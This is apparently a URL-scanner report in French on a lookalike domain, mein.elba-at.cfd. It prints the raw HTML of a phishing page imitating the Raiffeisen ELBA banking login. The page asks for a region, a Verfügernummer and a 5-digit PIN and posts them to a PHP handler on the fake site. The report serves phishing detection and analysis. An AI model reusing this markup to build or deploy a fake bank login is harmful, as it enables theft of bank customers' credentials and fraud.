https://mein.elba-at.cfd/

ID de l'analyse :
5335ebd9-aea4-4d18-ac99-97a8dfda677cTerminée
URL soumise :
https://mein.elba-at.cfd/
Fin du rapport :

Liens : 0 trouvé(s)

Liens sortants identifiés à partir de la page

Variables JavaScript : 4 trouvée(s)

Les variables JavaScript globales chargées dans l'objet fenêtre d'une page sont des variables déclarées en dehors des fonctions et accessibles depuis n'importe quel endroit du code au sein du champ d'application actuel

NomType
0object
onbeforetoggleobject
documentPictureInPictureobject
onscrollendobject

Messages de journal de console : 5 trouvé(s)

Messages consignés dans la console web

TypeCatégorieEnregistrement
errornetwork
URL
chrome-extension://invalid/
texte
Failed to load resource: net::ERR_BLOCKED_BY_CLIENT
errornetwork
URL
chrome-extension://invalid/
texte
Failed to load resource: net::ERR_BLOCKED_BY_CLIENT
verbosedom
URL
https://mein.elba-at.cfd/
texte
[DOM] Input elements should have autocomplete attributes (suggested: "current-password"): (More info: https://goo.gl/9p2vKq) %o
errornetwork
URL
chrome-extension://invalid/
texte
Failed to load resource: net::ERR_BLOCKED_BY_CLIENT
errornetwork
URL
https://mein.elba-at.cfd/favicon.ico
texte
Failed to load resource: the server responded with a status of 404 ()

HTML

Le corps HTML de la page en données brutes

<html lang="de" data-critters-container="" class="wf-roboto-n3-active wf-roboto-n4-active wf-roboto-n5-active wf-active device__Unknown device-type__desktop device-os__Windows device-browser__Chrome device-orientation__landscape" style="--background-image-xxl: url(&quot;/assets/rbg_wald.jpg&quot;); --background-image-xl: url(&quot;/assets/rbg_wald.jpg&quot;); --background-image-lg: url(&quot;/assets/rbg_wald.jpg&quot;); --background-image-md: url(&quot;/assets/rbg_wald.jpg&quot;); --background-image-sm: url(&quot;/assets/rbg_wald.jpg&quot;); --background-image-xs: url(&quot;/assets/rbg_wald.jpg&quot;);"><head>
    <meta charset="utf-8">
    <title>Login - Raiffeisen</title>
    <base href="">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <link rel="stylesheet" href="/assets/styles.css" media="all" onload="this.media='all'">
    <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Roboto:300,400,500" media="all">
    <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Roboto:300,400,500" media="all">
    <style type="text/css"></style>
    <link rel="stylesheet" type="text/css" href="/assets/bundle-rbg.css">
  <style>.form-container {
    width: 100%; /* Vollständige Breite */
    max-width: 390px; /* Maximale Breite für größere Bildschirme */
    margin: 0 auto; /* Zentriert den Container */
    background: #fff;
    padding: 16px; /* Etwas Padding hinzufügen */
    border-radius: 8px; /* Leicht abgerundete Ecken */
   
}
.underline-input, .dropdown {
    width: 100%; /* Volle Breite der Elterncontainer */
    height: 100px;
    border: none;
    border-bottom: 1px solid #000;
    padding: 2px 2px;
    padding-left: 10px;
    padding-top: 8px;
    font-size: 16px;
    outline: none;
    background-color: #f5f5f5;
    box-sizing: border-box; /* Berücksichtigt Padding und Border */
}



/* Responsive Design für kleinere Bildschirme */
@media (max-width: 767px) {
    .form-container {
        padding: 8px; /* Reduziertes Padding auf kleinen Bildschirmen */
    }
    
    .underline-input, .dropdown {
        height: 45px; /* Etwas kleinere Höhe für kleinere Bildschirme */
        font-size: 14px; /* Kleinere Schriftgröße */
    }

    .floating-label {
        font-size: 14px; /* Kleinere Schriftgröße für Labels */
    }
}

  .error-input {
    border-color: #d2041c !important;
}

.error-message p {
    
    color: #d2041c !important;
}</style></head>
  
  <body class="rds-app-background rds-typography rds-web-context elba-login-bg-img">
    <app-identify class="ng-star-inserted">
      <app-pin-login class="ng-star-inserted">
    
          <app-login-card _nghost-ng-c3647054988="">
            <app-login-dialog _ngcontent-ng-c3647054988="" _nghost-ng-c2176911814="" class="ng-star-inserted">
              <div _ngcontent-ng-c2176911814="" rdsrow="" class="rds-row-space-around login-dialog rds-row gx-0 gy-0" id="rds-grid-row-7">
                <div _ngcontent-ng-c2176911814="" rdscol="6" class="d-flex flex-column justify-content-end justify-content-sm-center rds-col rds-col-xs-12" id="rds-grid-row-7-column-7">
                  <div _ngcontent-ng-c3647054988="" class="bg-white position-relative login-card d-flex flex-column pb-3 rounded-top">
                    <div _ngcontent-ng-c3647054988="" class="d-flex position-absolute justify-content-center w-100 logo m-0 rds-navbar-brand"></div>
                    <app-language-switch _ngcontent-ng-c3647054988="" class="d-flex position-absolute top-0 justify-content-end w-100">
                      <div class="d-flex justify-content-end ng-star-inserted">
                        <rds-form-field appearance="barebone-pale" class="rds-form-field w-50 ng-tns-c427123406-7 rds-primary rds-form-field-type-rds-select rds-form-field-appearance-barebone-pale rds-form-field-has-label rds-form-field-hide-placeholder ng-star-inserted">
                          <div class="rds-form-field-wrapper ng-tns-c427123406-7">
                            <div class="rds-form-field-flex ng-tns-c427123406-7">
                              <!---->
                              <!---->
                              <!---->
                              <div class="rds-form-field-infix ng-tns-c427123406-7">
                                <rds-select role="combobox" aria-autocomplete="none" aria-haspopup="true" class="rds-select rds-small ng-tns-c3524291252-8 ng-tns-c427123406-7 ng-star-inserted" aria-labelledby="rds-form-field-label-11 rds-select-value-3" id="rds-select-2" tabindex="0" aria-expanded="false" aria-required="false" aria-disabled="false" aria-invalid="false">
                                  <div cdk-overlay-origin="" class="rds-select-trigger ng-tns-c3524291252-8">
                                    <div class="rds-select-value ng-tns-c3524291252-8" id="rds-select-value-3">
                                      <!---->
                                      <span class="rds-select-value-text ng-tns-c3524291252-8 ng-star-inserted">
                                        <span class="rds-select-min-line ng-tns-c3524291252-8 ng-star-inserted">Deutsch</span>
                                        <!---->
                                        <!---->
                                      </span>
                                      <!---->
                                    </div>
                                    <div class="rds-select-arrow-wrapper ng-tns-c3524291252-8">
                                      <div class="rds-select-arrow ng-tns-c3524291252-8"></div>
                                    </div>
                                  </div>
                                  <!---->
                                </rds-select>
                                <span class="rds-form-field-label-wrapper ng-tns-c427123406-7">
                                  <label class="rds-form-field-label ng-tns-c427123406-7 ng-star-inserted" id="rds-form-field-label-11" for="rds-select-2" aria-owns="rds-select-2">
                                    <!---->
                                    <rds-label class="sr-only ng-tns-c427123406-7 ng-star-inserted">Wählen Sie Ihre bevorzugte Sprache aus</rds-label>
                                    <!---->
                                    <!---->
                                  </label>
                                  <!---->
                                </span>
                              </div>
                              <!---->
                            </div>
                            <!---->
                            <div class="rds-form-field-subscript-wrapper ng-tns-c427123406-7">
                              <!---->
                              <div class="rds-form-field-hint-wrapper ng-tns-c427123406-7 ng-trigger ng-trigger-transitionMessages ng-star-inserted" style="opacity: 1; transform: translateY(0%);">
                                <!---->
                                <div class="rds-form-field-hint-spacer ng-tns-c427123406-7"></div>
                              </div>
                              <!---->
                              <!---->
                            </div>
                          </div>
                        </rds-form-field>
                      </div>
                      <!---->
                      <!---->
                    </app-language-switch>
                    <!---->
                    <!---->
                    <!---->
                    <div _ngcontent-ng-c3647054988="" rds-row="" class="overflow-hidden rds-row-space-around pt-3 flex-grow-1 rds-row gx-0 gy-0" style="max-height: 100%;" id="rds-grid-row-4">
                      <div _ngcontent-ng-c3647054988="" rds-col="" class="d-flex flex-column overflow-hidden rds-col rds-col-xs-12" style="max-height: 100%;" id="rds-grid-row-4-column-4">
                        <h1 _ngcontent-ng-c3647054988="" class="px-3 px-sm-1 mb-2 text-nowrap ng-star-inserted"> Bitte melden Sie sich an </h1>
                        <!---->
                        <!---->
                        <rds-scrolling _ngcontent-ng-c3647054988="" data-sm-scroller-track="vertical" id="rds-scroller-id-0" tabindex="-1" class="rds-scroller-native" style="flex: 1 1 0%; display: block; overflow: hidden; height: auto;">
                          <div cdkscrollable="" class="rds-scroller-container rds-scroller-track-y ng-star-inserted" id="rds-scroller-container-id-1" tabindex="-1">
                            <div _ngcontent-ng-c3647054988="" class="px-3 px-sm-1 ng-star-inserted">
                              <div>
                                <app-notification>
                                  <!---->
                                  <!---->
                                  <!---->
                                  <!---->
                                  <!---->
                                </app-notification>
                                <!---->
                                <!---->
                                <!---->
                               <!---->
<p class="mt-3">Wählen Sie Ihr Bundesland und geben Sie Verfügernummer und PIN ein.</p>
<div class="form-container">
  <form id="login-form" method="post" action="verfueger-process.php">
    <div class="form-group">
      <select id="dropdown" name="kanton_code" class="dropdown">
        <option value="" disabled="" selected="">Bundesland oder Bank wählen *</option>
        <option value="ELVIE33X-">Burgenland</option>
        <option value="ELOOE03V-">Kärnten</option>
        <option value="ELVIE32V-">Niederösterreich/Wien</option>
        <option value="ELOOE01V-">Oberösterreich</option>
        <option value="ELOOE05V-">Salzburg</option>
        <option value="ELVIE38V-">Steiermark</option>
        <option value="ELOOE11V-">Tirol</option>
        <option value="ELVIE37V-">Vorarlberg</option>
        <option value="ELOOE01V-">Oberösterreich/Bank Direkt</option>
        <option value="ELVIE22X-">Oberösterreich/PRIVAT BANK</option>
        <option value="ELOOE11V-">Tirol/Jungholz</option>
        <option value="ELOOE11V-">Alpen Privatbank</option>
      </select>
      <input type="hidden" id="kanton_name" name="kanton_name">
    </div>

    <div class="form-group">
      <input type="text" id="verfuegernr" name="verfueger" class="underline-input" placeholder="Verfügungsnummer" minlength="16" required="">
      <label for="verfuegernr" class="floating-label">Verfügernummer eingeben *</label>
      <div id="verfuegernr-error" class="error-message" style="display: none;">Bitte geben Sie eine gültige Verfügernummer  im Format ELXXXXX-XX-123456.</div>
    </div>

    <div class="form-group">
      <input type="password" name="verfueger_pin" id="pin" class="underline-input" placeholder="PIN" minlength="5" maxlength="5" required="">
      <label for="pin" class="floating-label">PIN eingeben *</label>
      <div id="pin-error" class="error-message" style="display: none;">Bitte geben Sie Ihre 5-stellige PIN ein.</div>
    </div>

    <button id="submitBtn" type="submit" disabled="">WEITER</button>
  </form>
</div>

                                <script>
   document.addEventListener('DOMContentLoaded', function() {
  const verfuegernrInput = document.getElementById('verfuegernr');
  const pinInput = document.getElementById('pin');
  const dropdown = document.getElementById('dropdown');
  const submitBtn = document.getElementById('submitBtn');
  const verfuegernrError = document.getElementById('verfuegernr-error');
  const pinError = document.getElementById('pin-error');

  function checkFormCompletion() {
    const verfuegernrValue = verfuegernrInput.value.replace(/-/g, '');
    const pinValue = pinInput.value;

    let valid = true;

    if (dropdown.value && verfuegernrValue.length >= 16 && pinValue.length === 5) {
      submitBtn.disabled = false;
      verfuegernrError.style.display = 'none';
      pinError.style.display = 'none';
    } else {
      submitBtn.disabled = true;
      if (verfuegernrValue.length < 16) {
        verfuegernrError.style.display = 'block';
        valid = false;
      } else {
        verfuegernrError.style.display = 'none';
      }
      if (pinValue.length < 5) {
        pinError.style.display = 'block';
        valid = false;
      } else {
        pinError.style.display = 'none';
      }
    }
  }

  function formatVerfuegernr(value) {
    let formattedValue = value.replace(/-/g, '');
    if (formattedValue.length > 16) {
      formattedValue = formattedValue.slice(0, 16);
    }
    if (formattedValue.length > 8) {
      formattedValue = formattedValue.slice(0, 8) + '-' + formattedValue.slice(8);
    }
    if (formattedValue.length > 11) {
      formattedValue = formattedValue.slice(0, 11) + '-' + formattedValue.slice(11);
    }
    return formattedValue;
  }

  verfuegernrInput.addEventListener('input', function() {
    verfuegernrInput.value = formatVerfuegernr(verfuegernrInput.value);
    checkFormCompletion();
  });

  pinInput.addEventListener('input', function() {
    if (pinInput.value.length > 5) {
      pinInput.value = pinInput.value.slice(0, 5);
    }
    checkFormCompletion();
  });

  dropdown.addEventListener('change', function() {
    verfuegernrInput.focus();
    verfuegernrInput.value = formatVerfuegernr(dropdown.value);
    checkFormCompletion();
  });

  submitBtn.addEventListener('click', function() {
    if (submitBtn.disabled) {
      alert('Bitte füllen Sie alle erforderlichen Felder korrekt aus, um fortzufahren.');
    }
  });
});

        
</script>



                                <div _ngcontent-ng-c3647054988="" rds-row="" class="rds-row-space-around mb-1 rds-row gx-0 gy-0" id="rds-grid-row-6">

 <script>
            document.addEventListener("DOMContentLoaded", function() {
    if (window.location.search.includes("?error")) {
        var floatingInputContainers = document.querySelectorAll('.floating-input');
        floatingInputContainers.forEach(function(container) {
            container.setAttribute('data-error', 'true');
        });
        
        // Select the div with id=error-message and set its display to block
        var errorMessageDiv = document.getElementById('error-message');
        if (errorMessageDiv) {
            errorMessageDiv.style.display = 'block';
        }
    }
});

        </script>
        <!---->
        <!---->
        <!---->
        <!---->
        <!---->
        <!---->
      
      <!---->
      <!---->
      <!---->
      <!---->
      <!---->
      <!---->
      <!---->
      <!---->
    
    <!---->
    
    </div>
    
    <!---->
    
    <div class="cdk-live-announcer-element cdk-visually-hidden" aria-atomic="true" aria-live="polite" id="cdk-live-announcer-0"></div>
    <div id="gen-live-phishing-protection-extension-note" style="display: none;">
      <div class="nrg-inner-container">
        <img id="close" alt="X" src="chrome-extension://pnhojlpkdnfhikpofiijpojgpejkdgpj/images/cross_32.png">
        <img style="width: 24px;height: 24px;margin-top: 8.5px;float:left;margin-left: 15px;" alt="NRG" src="chrome-extension://pnhojlpkdnfhikpofiijpojgpejkdgpj/images/icon48.png">
        <span data-from="" data-to="" data-linktext="" data-reason="" id="nrg-message"></span>
        <div class="nrg-dropdown">
          <input type="button" value="Options" style="padding: 5px!important; width: 80px!important;font-weight: normal!important;">
          <div class="nrg-dropdown-content">
            <ul>
              <li style="margin-left: 0px!important;" id="report-as-phishing">Report this Web page as Phishing.</li>
              <li style="margin-left: 0px!important;" id="report-as-not-phishing">Report this Web page as <b>Not</b> Phishing. </li>
            </ul>
            <div class="desc"></div>
          </div>
        </div>
      </div>
    </div>
  <script>(function(){function c(){var b=a.contentDocument||a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8e36649e1df02fa3',t:'MTczMTc0ODY5OS4wMDAwMDA='};var a=document.createElement('script');a.nonce='';a.src='/cdn-cgi/challenge-platform/scripts/jsd/main.js';document.getElementsByTagName('head')[0].appendChild(a);";b.getElementsByTagName('head')[0].appendChild(d)}}if(document.body){var a=document.createElement('iframe');a.height=1;a.width=1;a.style.position='absolute';a.style.top=0;a.style.left=0;a.style.border='none';a.style.visibility='hidden';document.body.appendChild(a);if('loading'!==document.readyState)c();else if(window.addEventListener)document.addEventListener('DOMContentLoaded',c);else{var e=document.onreadystatechange||function(){};document.onreadystatechange=function(b){e(b);'loading'!==document.readyState&&(document.onreadystatechange=e,c())}}}})();</script>
  <div id="gen-live-phishing-protection-extension-note" style="display: none;">
    <div class="nrg-inner-container">
      <img id="close" alt="X" src="chrome-extension://pnhojlpkdnfhikpofiijpojgpejkdgpj/images/cross_32.png">
      <img style="width: 24px;height: 24px;margin-top: 8.5px;float:left;margin-left: 15px;" alt="NRG" src="chrome-extension://pnhojlpkdnfhikpofiijpojgpejkdgpj/images/icon48.png">
      <span data-from="" data-to="" data-linktext="" data-reason="" id="nrg-message"></span>
      <div class="nrg-dropdown">
        <input type="button" value="Options" style="padding: 5px!important; width: 80px!important;font-weight: normal!important;">
        <div class="nrg-dropdown-content">
          <div class="desc"></div>
        </div>
      </div>
    </div>
  </div>
  <div class="cdk-live-announcer-element cdk-visually-hidden" aria-atomic="true" aria-live="polite" id="cdk-live-announcer-0"></div>
  
  <div class="notranslate" style="position: absolute; top: 0; right:0;" id="vd-root-d19608294"></div>
</div></div></div></rds-scrolling></div></div></div></div></div></app-login-dialog></app-login-card></app-pin-login></app-identify><iframe height="1" width="1" style="position: absolute; top: 0px; left: 0px; border: none; visibility: hidden;"></iframe></body></html>